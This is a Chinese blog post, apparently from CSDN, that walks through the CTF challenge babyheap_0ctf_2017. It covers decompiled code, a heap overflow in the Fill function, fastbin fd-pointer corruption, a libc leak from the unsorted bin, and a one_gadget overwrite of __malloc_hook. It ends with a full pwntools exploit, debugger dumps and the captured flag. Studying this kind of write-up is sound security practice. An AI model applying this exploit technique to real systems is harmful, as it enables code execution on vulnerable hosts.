

堆的入门题

于 2023-03-22 10:21:52 发布



pwn堆 专栏收录该内容

1 篇文章

订阅专栏

一道很简单的堆题， buu上的babyheap_0ctf_2017

题目解析

```
[*] '/home/pw/Desktop/buu/babyheap_0ctf_2017/babyheap'
Arch:      amd64-64-little
RELRO:     Full RELRO
Stack:     Canary found
NX:        NX enabled
PIE:       PIE enabled
CSDN @djhtdjdywgjc
```

64位的程序，防护全开

内容来源: csdn.net
作者昵称: djhtdjdywgjc
原文链接: <https://blog.csdn.net/djhtdjdywgjc/article/details/129701870>
作者主页: <https://blog.csdn.net/djhtdjdywgjc>

```

__int64 __fastcall main(__int64 a1, char **a2, char **a3)
{
    __int64 v4; // [rsp+8h] [rbp-8h]

    v4 = sub_B70(a1, a2, a3);
    while ( 1 )
    {
        sub_CF4();
        switch ( sub_138C() )
        {
            case 1LL:
                sub_D48(v4);
                break;
            case 2LL:
                sub_E7F(v4);
                break;
            case 3LL:
                sub_F50(v4);
                break;
            case 4LL:
                sub_1051(v4);
                break;
            case 5LL:
                return 0LL;
            default:
                continue;
        }
    }
}

```

CSDN @djhtdjdywgjc

题目整体，接下来就一个一个来查看里面函数的作用

sub_B70()

内容来源: csdn.net

作者昵称: djhtdjdywgjc

原文链接: <https://blog.csdn.net/djhtdjdywgjc/article/details/129701870>

作者主页: <https://blog.csdn.net/djhtdjdywgjc>

```

1 char *sub_B70()
2 {
3     int fd; // [rsp+4h] [rbp-3Ch]
4     char *addr; // [rsp+8h] [rbp-38h]
5     unsigned __int64 v3; // [rsp+10h] [rbp-30h]
6     __int64 buf[4]; // [rsp+20h] [rbp-20h] BYREF
7
8     buf[3] = __readfsqword(0x28u);
9     setvbuf(stdin, 0LL, 2, 0LL);
10    setvbuf(_bss_start, 0LL, 2, 0LL);
11    alarm(0x3Cu);
12    puts("==== Baby Heap in 2017 =====");
13    fd = open("/dev/urandom", 0);
14    if ( fd < 0 || read(fd, buf, 0x10uLL) != 16 )
15        exit(-1);
16    close(fd);
17    addr = (char *)((buf[0] % 0x555555543000uLL + 0x10000) & 0xFFFFFFFFFFFFFFFF000LL);
18    v3 = (buf[1] % 0xE80uLL) & 0xFFFFFFFFFFFFFFFF0LL;
19    if ( mmap(addr, 0x1000uLL, 3, 34, -1, 0LL) != addr )
20        exit(-1);
21    return &addr[v3];
22 }

```

CSDN @djhtdjdywgjc

这里用mmap申请了很大一块内存区域

sub_CF4()

```

1 int sub_CF4()
2 {
3     puts("1. Allocate");
4     puts("2. Fill");
5     puts("3. Free");
6     puts("4. Dump");
7     puts("5. Exit");
8     return printf("Command: ");
9 }

```

CSDN @djhtdjdywgjc

通过这个菜单函数我们可以更快的知道下面函数的作用

内容来源: csdn.net

作者昵称: djhtdjdywgjc

原文链接: <https://blog.csdn.net/djhtdjdywgjc/article/details/129701870>

作者主页: <https://blog.csdn.net/djhtdjdywgjc>

sub_138c()

```
__int64 sub_138C()  
{  
    char nptr[8]; // [rsp+0h] [rbp-10h] BYREF  
    unsigned __int64 v2; // [rsp+8h] [rbp-8h]  
  
    v2 = __readfsqword(0x28u);  
    sub_123D(nptr, 8LL);  
    return atol(nptr);  
}
```

这个就是一个简单的赋一个整数值函数，后面的chunk的size大小也是通过这个函数给的

Allocate

内容来源: csdn.net
作者昵称: djhtdjdywgjc
原文链接: <https://blog.csdn.net/djhtdjdywgjc/article/details/129701870>
作者主页: <https://blog.csdn.net/djhtdjdywgjc>

```

1 void __fastcall sub_D48(__int64 a1)
2 {
3     int i; // [rsp+10h] [rbp-10h]
4     int v2; // [rsp+14h] [rbp-Ch]
5     void *v3; // [rsp+18h] [rbp-8h]
6
7     for ( i = 0; i <= 15; ++i )
8     {
9         if ( !*(__DWORD *)(24LL * i + a1) )
10        {
11            printf("Size: ");
12            v2 = sub_138C();
13            if ( v2 > 0 )
14            {
15                if ( v2 > 4096 )
16                    v2 = 4096;
17                v3 = calloc(v2, 1uLL);
18                if ( !v3 )
19                    exit(-1);
20                *(__DWORD *)(24LL * i + a1) = 1;
21                *(__QWORD *)(a1 + 24LL * i + 8) = v2;
22                *(__QWORD *)(a1 + 24LL * i + 16) = v3;
23                printf("Allocate Index %d\n", (unsigned int)i);
24            }
25            return;
26        }
27    }
28 }

```

CSDN @djhtdjdywgjc

创建一个堆块，用函数控制给我们的堆块赋与空间。其实我们所谓的堆块，就是一个一个的链表，所以这里下面的3个应该是结构体中的3个参数。

Fill () 此处是漏洞存在处

内容来源: csdn.net

作者昵称: djhtdjdywgjc

原文链接: <https://blog.csdn.net/djhtdjdywgjc/article/details/129701870>

作者主页: <https://blog.csdn.net/djhtdjdywgjc>

```

1 int64 __fastcall sub_E7F(int64 a1)
2 {
3     int64 result; // rax
4     int v2; // [rsp+18h] [rbp-8h]
5     int v3; // [rsp+1Ch] [rbp-4h]
6
7     printf("Index: ");
8     result = sub_138C();
9     v2 = result;
0     if ( (unsigned int)result <= 0xF )
1     {
2         result = *(unsigned int *)(24LL * (int)result + a1);
3         if ( (_DWORD)result == 1 )
4         {
5             printf("Size: ");
6             result = sub_138C();
7             v3 = result;
8             if ( (int)result > 0 )
9             {
0                 printf("Content: ");
1                 return sub_11B2(*(_QWORD *) (24LL * v2 + a1 + 16), v3);
2             }
3         }
4     }
5     return result;
6 }

```

CSDN @djhtdjdywgjc

由于我们在创建时是给chunk指定了空间的，而我们在Fill函数输入数据的时候发现还可以指定输入空间，那么这里就可以造成堆溢出

后面的两个函数都是一般的free和输出了，就不一一解释了

漏洞利用

堆题的做法无非就是利用各种绕过去获得libc的偏移，然后去修改malloc_hook或者free_hook为system函数，最后去触发获取shell

那么如何泄露libc呢？

这道题的free函数最后是把指针清零了，所以double free等用法都是不行的，但是存在堆溢出，那我们便可以利用这一个特性去修改其他chunk的fd指针，来达到泄露的效果

内容来源: blog.csdn.net/djhtdjdywgjc
 作者昵称: djhtdjdywgjc
 原文链接: <https://blog.csdn.net/djhtdjdywgjc/article/details/129701870>
 作者主页: <https://blog.csdn.net/djhtdjdywgjc/>

```

1 | from pwn import *
2 | from LibcSearcher import *
3 | context.log_level='debug'
4 | context(os='linux', arch='amd64', log_level='debug')
5 |
6 | p = process('./babyheap')
7 | elf = ELF('./babyheap')
8 | libc = ELF('./libc-2.23.so')
9 |
10 | def dbg():
11 |     gdb.attach(p)
12 |     pause()
13 |
14 | def add(size):
15 |     p.sendlineafter("Command: ",str(1))
16 |     p.sendlineafter("Size: ",str(size))
17 |
18 | def edit(index, content):
19 |     p.sendlineafter("Command: ",str(2))
20 |     p.sendlineafter("Index: ",str(index))
21 |     p.sendlineafter("Size: ",str(len(content)))
22 |     p.sendafter("Content: ",content)
23 |
24 | def free(index):
25 |     p.sendlineafter("Command: ",str(3))
26 |     p.sendlineafter("Index: ",str(index))
27 |
28 | def show(index):
29 |     p.sendlineafter("Command: ",str(4))
30 |     p.sendlineafter("Index: ",str(index))

```

一键获取完整项目代码

这里先做好准备工作，然后构建堆块

内容来源: csdn.net

作者昵称: djhtdjdywgjc

原文链接: <https://blog.csdn.net/djhtdjdywgjc/article/details/129701870>

作者主页: <https://blog.csdn.net/djhtdjdywgjc>

```
add(0x10) #0
add(0x10) #1
add(0x10) #2
add(0x10) #3
add(0x80) #4
free(1)
free(2)
```

CSDN @djhtdjdywgjc

我们这里先构建5个堆块，我们先释放1，2chunk

内容来源: csdn.net
作者昵称: djhtdjdywgjc
原文链接: <https://blog.csdn.net/djhtdjdywgjc/article/details/129701870>
作者主页: <https://blog.csdn.net/djhtdjdywgjc>


```

pwndbg> heap
Allocated chunk | PREV_INUSE
Addr: 0x55f272255000
Size: 0x21

Free chunk (fastbins) | PREV_INUSE
Addr: 0x55f272255020
Size: 0x21
fd: 0x00

Free chunk (fastbins) | PREV_INUSE
Addr: 0x55f272255040
Size: 0x21
fd: 0x55f272255020

Allocated chunk | PREV_INUSE
Addr: 0x55f272255060
Size: 0x21

Allocated chunk | PREV_INUSE
Addr: 0x55f272255080
Size: 0x91

Top chunk | PREV_INUSE
Addr: 0x55f272255110
Size: 0x20ef1

```

现在1, 2已经进入了fastbins中, 其中2chunk的fd指针是指向1chunk的, 这里我们通过0chunk的堆溢出去修改2chunk的fd指针为4chunk

```

pwndbg> x/32gx 0x55f272255000
0x55f272255000: 0x0000000000000000 0x0000000000000021
0x55f272255010: 0x0000000000000000 0x0000000000000000
0x55f272255020: 0x0000000000000000 0x0000000000000021
0x55f272255030: 0x0000000000000000 0x0000000000000000
0x55f272255040: 0x0000000000000000 0x0000000000000021
0x55f272255050: 0x000055f272255020 0x0000000000000000
0x55f272255060: 0x0000000000000000 0x0000000000000021
0x55f272255070: 0x0000000000000000 0x0000000000000000

```

通过查看0chunk的地址我们可以确定要修改指针的位置，这里我们需要注意，我们在输入数据的时候是在0x55f272255010开始输入的，上面的0x10字节分别是prsize和size，并且我们在覆盖数据的时候要保留原有chunk的size，也就是图中所有0x21的地方

```

payload=p64(0)*3+p64(0x21)+p64(0)*3+p64(0x21)+p8(0x80)
edit(0,payload)

```

```

Allocated chunk | PREV_INUSE bytes:
Addr: 0x560970a6b020 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Size: 0x21
00000010 00 00 00 00 21 00 00 00

Free chunk (fastbins) | PREV_INUSE
Addr: 0x560970a6b040 20 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Size: 0x21
fd: 0x560970a6b080 0030 00 00 00 00 00 00 00 00 21 00 00 00 00 00

Allocated chunk | PREV_INUSE
Addr: 0x560970a6b060 41
Size: 0x21 [*] running in new terminal: ['/usr/bin/gdb', '-q', './
[DEBUG] Created script for new terminal:
Allocated chunk | PREV_INUSE hon2
Addr: 0x560970a6b080 os
Size: 0x91 os.execve('/usr/bin/gdb', ['/usr/bin/gdb', '-q', './
viron)
Top chunk | PREV_INUSE chng a new terminal: /usr/bin/x-terminal
Addr: 0x560970a6b110
Size: 0x20ef1 Waiting for debugger: Done CSDN @djhtdjdywgjc

```

注:我是分开一步步进行调试的,所以地址会不同,大家观看结果便行

这里我们可以观察到原本已经释放的1chunk又处于了未释放的状态, 2chunk的指针也成功的指向了4chunk , 但为什么4chunk没有处于free状态呢? , 这是因为fastbins容纳不了这么大的chunk, 所以这里我们再将4chunk的大小修改为0x21

```

payload=p64(0)*3+p64(0x21)
edit(3,payload)
CSDN @djhtdjdywgjc

```

内容来源: csdn.net
 作者昵称: djhtdjdywgjc
 原文链接: <https://blog.csdn.net/djhtdjdywgjc/article/details/129701870>
 作者主页: <https://blog.csdn.net/djhtdjdywgjc>

```

pwndbg> heap
Allocated chunk | PREV_INUSE
Addr: 0x560833b3d000
Size: 0x21

Allocated chunk | PREV_INUSE
Addr: 0x560833b3d020
Size: 0x21

Free chunk (fastbins) | PREV_INUSE
Addr: 0x560833b3d040
Size: 0x21
fd: 0x560833b3d080

Allocated chunk | PREV_INUSE
Addr: 0x560833b3d060
Size: 0x21

Free chunk (fastbins) | PREV_INUSE
Addr: 0x560833b3d080
Size: 0x21
fd: 0x00

Allocated chunk
Addr: 0x560833b3d0a0
Size: 0x00

```

可以看到，现在未释放的4chunk也被我们伪造成了释放的效果，那我们现在再申请两个chunk，由于fastbin是先进先出的并且之前释放的是1和2，那么现在1和2chunk都是空的，由于我们把chunk2的fd指针修改成了chunk4，那么系统就会默认chunk4是先被释放的，所以我们再申请时，chunk2就相当于chunk4，而chunk1就相当于chunk2

接下来我们就要把chunk4的size改回0x90，并且释放它，使得它进入unsortedbins，由于unsortedbins的特性，但这个bins中只有一个chunk时，那么它的fd和bk指针都会指向main_arena这个地方，而main_arena-0x10就是malloc_hook的地址，那么就很简单了

作者昵称: djhtdjdywgjc

原文链接: <https://blog.csdn.net/djhtdjdywgjc/article/details/129701870>

作者主页: <https://blog.csdn.net/djhtdjdywgjc>

```
payload=p64(0)*3+p64(0x91)
edit(3,payload)
add(0x80) | CSDN @djhtdjdywgjc
free(4)
```

这个add(0x80)的chunk的作用是为了防止top chunk合并其他chunk

内容来源: csdn.net
作者昵称: djhtdjdywgjc
原文链接: <https://blog.csdn.net/djhtdjdywgjc/article/details/129701870>
作者主页: <https://blog.csdn.net/djhtdjdywgjc>

pwndbg> heap

Allocated chunk | PREV_INUSE

Addr: 0x559304407000

Size: 0x21

Allocated chunk | PREV_INUSE

Addr: 0x559304407020

Size: 0x21

Allocated chunk | PREV_INUSE

Addr: 0x559304407040

Size: 0x21

Allocated chunk | PREV_INUSE

Addr: 0x559304407060

Size: 0x21

Free chunk (unsortedbin) | PREV_INUSE

Addr: 0x559304407080

Size: 0x91

fd: 0x7f497f1c3b78

bk: 0x7f497f1c3b78

Allocated chunk

Addr: 0x559304407110

Size: 0x90

Top chunk | PREV_INUSE

Addr: 0x5593044071a0

Size: 0x20e61

CSDN @djhtdjdywgjc

现在就可以看到我们的4chunk成功的进入了unsortedbin,但是由于我们之前的操作,导致2chunk其实就是4chunk,那么我们再输出2时便可以顺带输出4chunk的fd指针

内容来源: csdn.net

作者昵称: djhtdjdywgjc

原文链接: <https://blog.csdn.net/djhtdjdywgjc/article/details/129701870>

作者主页: <https://blog.csdn.net/djhtdjdywgjc>

```
show(2)
malloc_hook=u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
print(hex(malloc_hook))
CSDN @djhtdjdywgjc
```

```
00000050
0x7f0x7fcfac5c3b78
[*] running in new terminal:
[DEBUG] Created script for ne
```

```
pwndbg> x/10gx 0x7fcfac5c3b78
0x7fcfac5c3b78 <main_arena+88>: 0x00005563e22e11a0 0x0000000000000000
0x7fcfac5c3b88 <main_arena+104>: 0x00005563e22e1080 0x00005563e22e1080
0x7fcfac5c3b98 <main_arena+120>: 0x00007fcfac5c3b88 0x00007fcfac5c3b88
0x7fcfac5c3ba8 <main_arena+136>: 0x00007fcfac5c3b98 0x00007fcfac5c3b98
0x7fcfac5c3bb8 <main_arena+152>: 0x00007fcfac5c3ba8 0x00007fcfac5c3ba8
```

我们在那泄露的地址减去88减去0x10就是malloc_hook了，最后便是用泄露的地址减去libc中的地址算出偏移即可，然后利用onegadget中的地址去覆盖malloc_hook就可以了。

先将2chunk也就是4chunk的fd指针指向malloc_hook

```
show(2)
malloc_hook=u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))-88-0x10
print(hex(malloc_hook))
base=malloc_hook-libc.symbols['__malloc_hook']
print(hex(base))
system=0x4526a+base
add(0x60)
free(4)
payload=p64(0)*3+p64(0x71)+p64(malloc_hook)
edit(3,payload)
CSDN @djhtdjdywgjc
```

这里申请0x60个字节是为了后续的去修改malloc_hook，为什么要是0x60的以及这里修改地址的原因可以去看我之间的堆的博客，这里就不做解释了

内容来源: csdn.net
 作者昵称: djhtdjdywgjc
 原文链接: <https://blog.csdn.net/djhtdjdywgjc/article/details/129701870>
 作者主页: <https://blog.csdn.net/djhtdjdywgjc>

```
Size: 0x21
+pt(0x00)

Free chunk (fastbins) | PREV_INUSE
Addr: 0x55bd4deaa080
Size: 0x71
fd: 0x7f626afc3aed

Free chunk (unsortedbin) | PREV_INUSE
Addr: 0x55bd4deaa0f0
Size: 0x21
fd: 0x7f626afc3b78
bk: 0x7f626afc3b78

Allocated chunk
Addr: 0x55bd4deaa110
Size: 0x90

Top chunk | PREV_INUSE
Addr: 0x55bd4deaa1a0
Size: 0x20e61
```

```
]
pwndbg> fastbins
fastbins
0x20: 0x0
0x30: 0x0
0x40: 0x0
0x50: 0x0
0x60: 0x0
0x70: 0x55bd4deaa080 → 0x7f626afc3aed (_IO_wide_data_0+301) ← 0x626ac853f00000
0x80: 0x0
pwndbg>
```

内容来源: csdn.net
作者昵称: djhtjdjdywgjc
原文链接: <https://blog.csdn.net/djhtjdjdywgjc/article/details/129701870>
作者主页: <https://blog.csdn.net/djhtjdjdywgjc>

成功修改，然后我们在申请两个堆块便可以申请到我们伪造的这个假chunk，也就是

malloc_hook-0x23，由于pre_size和size有0x10字节的原因，我们输入数据只需要输入0x13*b'a'就可到达malloc_hook，最后将one_gadget写入，创建chunk触发malloc_hook便可拿到shell

完整exp如下

```
1 from pwn import *
2 from LibcSearcher import *
3 context.log_level='debug'
4 context(os='linux', arch='amd64', log_level='debug')
5
6 # p = process('./babyheap')
7 p=remote('node4.buuoj.cn',27874)
8 elf = ELF('./babyheap')
9 libc = ELF('./libc-2.23.so')
10
11 def dbg():
12     gdb.attach(p)
13     pause()
14
15 def add(size):
16     p.sendlineafter("Command: ",str(1))
17     p.sendlineafter("Size: ",str(size))
18
19 def edit(index, content):
20     p.sendlineafter("Command: ",str(2))
21     p.sendlineafter("Index: ",str(index))
22     p.sendlineafter("Size: ",str(len(content)))
23     p.sendafter("Content: ",content)
24
25 def free(index):
26     p.sendlineafter("Command: ",str(3))
27     p.sendlineafter("Index: ",str(index))
28
29 def show(index):
30     p.sendlineafter("Command: ",str(4))
31     p.sendlineafter("Index: ",str(index))
32
```

内容来源: csdn.net

作者昵称: djhtdjdywgjc

原文链接: <https://blog.csdn.net/djhtdjdywgjc/article/details/129701870>

作者主页: <https://blog.csdn.net/djhtdjdywgjc>

```

33 | add(0x10)    #0
    |          34 | add(0x10)    #1
34 |
35 | add(0x10)    #2
36 | add(0x10)    #3
37 | add(0x80)    #4
38 | free(1)
39 | free(2)
40 | payload=p64(0)*3+p64(0x21)+p64(0)*3+p64(0x21)+p8(0x80)
41 | edit(0,payload)
42 | payload=p64(0)*3+p64(0x21)
43 | edit(3,payload)
44 | add(0x10)    #4  2
45 | add(0x10)    #2  1
46 | payload=p64(0)*3+p64(0x91)
47 | edit(3,payload)
48 | add(0x80)    #5
49 | free(4)
50 | show(2)
51 | malloc_hook=u64(p.recvuntil(b'\x7f')[:-6:].ljust(8,b'\x00'))-88-0x10
52 | print(hex(malloc_hook))
53 | base=malloc_hook-libc.symbols['__malloc_hook']
54 | print(hex(base))
55 | system=0x4526a+base
56 | add(0x60)    #4
57 | free(4)
58 | payload=p64(0)*3+p64(0x71)+p64(malloc_hook-0x23)
59 | edit(3,payload)
60 | add(0x60)    #4
61 | add(0x60)    #6
62 | payload=0x13*b'a'+p64(system)
63 | edit(6,payload)
64 | add(0x20)
65 | # dbg()
66 | p.interactive()

```

一键获取完整项目代码

内容来源: csdn.net

作者昵称: djhtdjdywgjc

原文链接: <https://blog.csdn.net/djhtdjdywgjc/article/details/129701870>

作者主页: <https://blog.csdn.net/djhtdjdywgjc>

```
[DEBUG] Received 0x2b bytes:  
    'flag{0fe08e8e-af5e-49f6-a09c-f742dd211f13}\\n'  
flag{0fe08e8e-af5e-49f6-a09c-f742dd211f13}  
[*] Got EOF while reading in interactive
```

内容来源: csdn.net
作者昵称: djhtdjdywgjc
原文链接: <https://blog.csdn.net/djhtdjdywgjc/article/details/129701870>
作者主页: <https://blog.csdn.net/djhtdjdywgjc>

内容来源: csdn.net
作者昵称: djhtdjdywgjc
原文链接: <https://blog.csdn.net/djhtdjdywgjc/article/details/129701870>
作者主页: <https://blog.csdn.net/djhtdjdywgjc>